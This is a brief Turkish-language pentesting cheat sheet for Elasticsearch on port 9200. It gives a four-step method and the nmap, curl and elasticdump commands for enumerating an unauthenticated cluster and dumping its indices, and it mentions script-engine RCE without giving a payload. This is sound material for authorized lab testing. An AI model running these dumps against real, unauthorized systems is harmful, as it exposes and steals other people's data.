9200 - Pentesting Elasticsearch

Elasticsearch database

ES HTTP API auth’suz kaldığında tüm index’ler açık demektir. Eski script engine RCE verir. Hedef lab IP’si üzerinde komutları 9200 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 9200/9300 doğrula.

2. /_cat/indices.

3. Dump.

4. Script/CVE.

Keşif

nmap -Pn -sV -p9200,9300 TARGET

curl -s http://TARGET:9200/

curl -s http://TARGET:9200/_cat/indices?v

curl -s http://TARGET:9200/_nodes

Dump

curl -s 'http://TARGET:9200/_search?size=100' | jq .

elasticdump --input=http://TARGET:9200/INDEX --output=index.json --type=data
